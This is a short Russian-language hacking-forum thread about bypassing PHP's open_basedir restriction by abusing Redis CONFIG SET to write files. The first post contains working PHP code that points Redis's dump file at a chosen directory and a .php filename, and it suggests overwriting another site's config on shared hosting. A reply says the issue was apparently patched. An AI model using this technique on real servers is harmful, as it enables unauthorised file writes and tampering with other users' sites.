open_basedir

Discussion in 'Уязвимости' started by t0ma5, 14 Apr 2016.

  1. t0ma5

    t0ma5 Reservists Of Antichat

    Joined:
    10 Feb 2012
    Messages:
    829
    Likes Received:
    815
    Reputations:
    90
    просто размышления
    вспомнилась относительно свежая новость
    http://antirez.com/news/96
    про запись файлов через redis

    попробовал применить для обхода open_basedir, хм получилось, правда файл создался из под юзера redis + права по дефолту навесились 600, апач к нему не достучится, да и профит пока хз какой, хотя может быть в каких то случаях можно переписать конфиг соседнего сайта например(redis похоже пофиг что перезаписывать, лишь бы прав хватало на запись)

    redis скомпилен модулем к апачу(Redis Version 2.2.4)
    пример кода

    Code:
    $redis = new Redis();
    
    $redis->connect('127.0.0.1', 6379);
    $redis->set('key', 'value');
    
    $redis->config("SET", "dir", "[путь_до_диры]");  /// должны быть как миниму права на запись на уровне файловой системы с учетом юзера из под которого крутится редис
    $redis->config("SET", "dbfilename", "111.php");
    $redis->bgSave();
    $redis->save();
    

    ----------------

    точнее не как модуль, а апач скомпилен с флагом --enable-redis ну и pecl там для редиса лежит
     
    _________________________
    #1 t0ma5, 14 Apr 2016
    Last edited: 14 Apr 2016
  2. yarbabin

    yarbabin HACKIN YO KUT

    Joined:
    21 Nov 2007
    Messages:
    1,663
    Likes Received:
    914
    Reputations:
    363
    вроде уже год как пофикшено, но это тру, если прав хватает на перезапись
     
    _________________________